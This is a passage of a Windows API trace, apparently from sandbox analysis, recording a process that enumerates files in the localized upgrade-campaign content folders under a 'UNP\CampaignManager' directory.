hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918c8e48, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918c8e48, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5e7dfd00, ftLastWriteTime.dwHighDateTime=0x1d2f192, nFileSizeHigh=0x0, nFileSizeLow=0x3e1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="script.min.js", cAlternateFileName="SCRIPT~1.JS")) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fa093, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x919fa093, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style.min.css", cAlternateFileName="STYLEM~1.CSS")) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_ltr.min.css", cAlternateFileName="STYLE_~1.CSS")) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="style_rtl.min.css", cAlternateFileName="STYLE_~2.CSS")) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x585d4e00, ftLastWriteTime.dwHighDateTime=0x1d29e39, nFileSizeHigh=0x0, nFileSizeLow=0x3f73, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Win10_Brand.png", cAlternateFileName="WIN10_~1.PNG")) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xb1d8d400, ftLastWriteTime.dwHighDateTime=0x1d2ec03, nFileSizeHigh=0x0, nFileSizeLow=0x16e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WindowsUpdatePrivacySetting.scale-200.png", cAlternateFileName="WINDOW~1.PNG")) returned 0 [0184.753] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.754] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.754] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0184.754] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.757] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.757] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa29c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.757] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.757] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.757] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.758] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b2b4b0, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b2b4b0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.758] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.759] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0184.759] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.761] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.761] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xdc59, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.761] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.762] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.762] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.762] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.762] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.763] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0184.763] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.780] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.780] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.780] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.780] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.780] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.781] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.781] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.782] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.782] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0184.782] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.784] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.784] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x926583f5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.785] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x66d5ac00, ftLastWriteTime.dwHighDateTime=0x1d2a223, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.785] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.785] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.785] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.785] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.786] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0184.786] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.789] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.790] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.790] FindNextFileW 